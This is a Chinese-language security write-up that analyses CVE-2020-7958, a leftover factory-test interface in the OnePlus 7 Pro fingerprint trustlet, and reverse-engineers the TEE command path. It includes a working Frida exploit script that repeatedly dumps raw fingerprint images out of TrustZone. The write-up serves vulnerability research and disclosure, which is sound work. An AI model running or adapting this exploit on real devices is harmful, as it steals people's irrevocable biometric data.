CVE-2020-7958-从手机中提取指纹图片

简介

众所周知，TrustZone被广泛应用在现在的手机设备中。TrustZone将SoC的硬件和软件资源划分为安全(Secure World)和非安全(Normal World)两个世界，内核、操作系统、上层应用等运行在Normal World，人脸指纹等生物数据识别、支付、加密等操作在Secure World中运行。这样即使设备被ROOT, 也只能意味着Normal World被攻击者控制，人脸指纹等一些极度敏感的数据不会被泄露。

当前主流的TrustZone厂商与产品有：Intel的SGX，Qualcomm的QSEE，Huawei HiSilicon的Trusted Core以及Samsung的Kinibi。

CVE-2020-7958是Oneplus 7Pro上指纹识别模块的一个漏洞，使用了高通的QSEE，该漏洞由Synopsys Cybersecurity Research Center发现和披露，本文对其进行分析和重现，编写exp实现了从TrustZone里提取原始的指纹图片。

为便于理解，在文章开始之前，将几个相关缩略词列举如下：

• TEE
  Trusted Execution Environment, 可信执行环境，即Secure World
• REE
  Rich Execution Environment，开发执行环境，即Normal World
• TA
  Trusted Application，可信应用，即可信环境内执行的程序
• Trustlet
  等同于TA

指纹识别TEE架构

Android对指纹识别的实现作了要求（参考官方文档），例如指纹匹配必须在TEE中进行，指纹数据也必须进行加密，保证在TEE外无法读取和更改。

Android上指纹识别相关架构如下图所示，其中红框部分处于REE中，即如果有root权限是可以操控的。指纹的匹配、存储等操作位于TEE中。REE通过Fingerprint HAL与TEE进行交互，TEE处理对应的指令后返回执行后的结果。整个过程中的指纹录入、数据处理、匹配算法对于REE来说就是一个黑盒子，REE只能知道执行结果却无法触及具体实现。

TEE只是用来执行可信的TA（或Trustlet），TA保存在Normal World,在获取系统权限后，我们可以在根目录（一般在/vendor目录）找到TA的binary文件，通过对TA进行逆向分析，可以推测TEE中的执行逻辑，挖掘相关的漏洞。

CVE-2020-7958分析

指纹芯片厂商为了方便手机厂商调试，会添加很多调试接口，例如dump出指纹图片便于优化算法。然后，手机厂商在发布设备时如果没有对这些调式接口进行合理的屏蔽，甚至直接原封不动的使用芯片厂商的代码，这些危险的接口就会出现在了正式发布的设备中。攻击者拿到系统权限后，在REE直接调用这些接口，就可能获取trustzone中的敏感数据。

OnePlus 7 Pro采用高通的QSEE架构，其指纹芯片使用汇顶的解决方案，CVE-2020-7958这个漏洞就是利用了工厂模式下的接口，成功的把TEE中的指纹图片dump出来。

OnePlus 7 Pro的指纹相关逻辑主要位于以下几个模块中：

• libgf_ud_hal.so (/vendor/lib64/目录)
• libQSEEComAPI.so
• Trustlet
  其中libgf_ud_hal.so属于REE，主要负责调度和发送指令给TEE,libQSEEComAPI.so是REE和TEE的中间桥梁，根据REE中不同的指令代码来调用TEE中不同的TA模块。

CVE-2020-7958存在于OnePlus 7 Pro的TA中，实现了一个sz_factory_test_capture_image接口暴露给REE，允许其将捕获的指纹图片dump出来。

下文对逆向过程进行分析：

TA逆向

通过grep关键字，我们可以发现指纹处理的TA位于/vendor/firmware_mnt/image目录中

这几个文件需要处理后拼接为一个elf文件(readelf根据offset和length拼接，剩余部分用’\x00‘填充，参考https://github.com/pandasauce/unify_trustlet/blob/master/unify_trustlet.py)，拼接完成后拖到IDA进一步分析。
通过跟踪elf中的日志信息，找到gf_modules_cmd_entry_point

根据cmd值找对应的module

一共有g_sensor_module、g_algo_module、g_auth_module和g_product_test_module 4个模块

其中g_product_test_module结构如下,0xEB对对应的module_id

根据调用关系”sub_5C34（module_start()） -> gf_product_test_start -> gf_product_test_create -> gf_sz_product_test_ctor“继续跟进

gf_sz_factory_test_ctor

因此，module_start()构造的函数表及对应索引如下：

根据调用关系”sub5D18(module_entry()) -> gf_product_test_cmd_entry -> g_product_test_ctx”推断g_product_test_ctx维护一个g_product_test_module下的函数调用表，根据不同的index，调用对应的函数。根据上文中构造的函数表，sz_factory_test_capture_image的索引为22

由于64位系统地址占8个字节，sz_factory_test_capture_image对应的偏移为176，对应的cmd_id为0x11。

因此，sz_factory_test_capture_image 对应的module_id为0xEB,cmd_id为0x11。

libgf_ud_hal.so逆向分析

libgf_ud_hal.so中有一个函数goodix::SZCustomizedProductTest::factoryCaptureImage()会通过libQSEEComAPI最终调用TA中的sz_factory_test_capture_image。

factoryCaptureImage有5个参数：
arg0: goodix::SZCustomizedProductTest对象
arg1: dump出来的图片buffer
arg2: ae_expo_start_time,可通过调用getSensorInfo()得到
arg3: 固定为1
arg4: 固定为0
因此，只要构造合适的参数，调用factoryCaptureImage()就可以dump出指纹图片。重点在于arg0和arg2的构造上。

经过分析，创建SZCustomizedProductTest对象需要HalContext，而HalContext可以通过hook其他函数得到，利用frida我们可以成功的调用factoryCaptureImage函数。

利用思路如下：

1. hook goodix::FingerprintCore::onAfterAuthSuccess函数得到HalContext（该函数会在指纹认证成功时触发，也可以hook其他函数得到HalContext）
2. 调用goodix::createProductTest创建一个goodix::SZCustomizedProductTest对象
3. 调用goodix::SZCustomizedProductTest::getSensorInfo获取ae_expo_start_time
4. 调用goodix::factoryCaptureImage dump指纹图片

漏洞利用代码

利用frida写的exp代码如下：

var halbase = ptr(0x0);  
var logprint = Module.getExportByName('liblog.so', '__android_log_print');
var createproducttestPtr = Module.getExportByName('libgf_ud_hal.so', '_ZN6goodix17createProductTestEPNS_10HalContextE');
var createproducttest = new NativeFunction(createproducttestPtr, 'pointer', ['pointer', 'pointer'])
var getsensorinfoptr = Module.getExportByName('libgf_ud_hal.so', '_ZN6goodix23SZCustomizedProductTest13getSensorInfoEP15GF_SZ_CHIP_INFO');
var getsensorinfo = new NativeFunction(getsensorinfoptr, 'int', ['pointer', 'pointer'])
var captureimgptr = Module.getExportByName('libgf_ud_hal.so', '_ZN6goodix23SZCustomizedProductTest19factoryCaptureImageEP18GF_SZ_TEST_RAWDATAtht');
var captureimgfactory = new NativeFunction(captureimgptr, 'int', ['pointer', 'pointer','uint16','uint8','uint16'])


var onAfterAuthSuccess = Module.getExportByName('libgf_ud_hal.so', '_ZN6goodix15FingerprintCore18onAfterAuthSuccessEPNS0_19AuthenticateContextE');
Interceptor.attach(onAfterAuthSuccess, {
  onEnter: function (args) {
    
    console.log("onAfterAuthSuccess:"+args[0]);
    halbase = args[0].add(8);  
    console.log("halbase:"+halbase.readPointer());
  },
});

function xxx(){
    //console.log("halbase context:"+halbase.readPointer())
    
    var instance = createproducttest(halbase,ptr(0));
    var xxx = Memory.alloc(1024);
    var yyy = getsensorinfo(instance,xxx);
    var ae_expo_start_time = xxx.add(48).readUInt()
    console.log("ae_expo_start_time:"+ae_expo_start_time);

    var zzz = Memory.alloc(86024);
    var jjj = captureimgfactory(instance,zzz,ae_expo_start_time,1,0)
    //console.log(jjj)
    if(jjj == 0){
      console.log(hexdump(zzz, { length: 100, ansi: true }));
      console.log("dump success");
      send('aaa',Memory.readByteArray(zzz, 86024))
    }

}

setInterval(xxx, 50);

exp设置每50毫秒dump一次，dump出来的指纹图片如下：

后记

漏洞从根本上修复需要从TA里删除对应的代码，仅从libgf_ud_hal.so中删掉goodix::factoryCaptureImage函数是没用的，攻击者可以直接调用goodix::HalBase::invokeCommand构造对应的参数以实现对TA里函数的调用。

另外，除了dump指纹图片外，攻击者可以调用TA里4个module里的其他函数，因此，手机厂商在设备发布前需要仔细检查TA中的非必要代码。

参考资料：
https://www.synopsys.com/blogs/software-security/cve-2020-7958-trustlet-tee-attack/

https://research.checkpoint.com/2019/the-road-to-qualcomm-trustzone-apps-fuzzing/

http://bits-please.blogspot.com/2016/04/exploring-qualcomms-secure-execution.html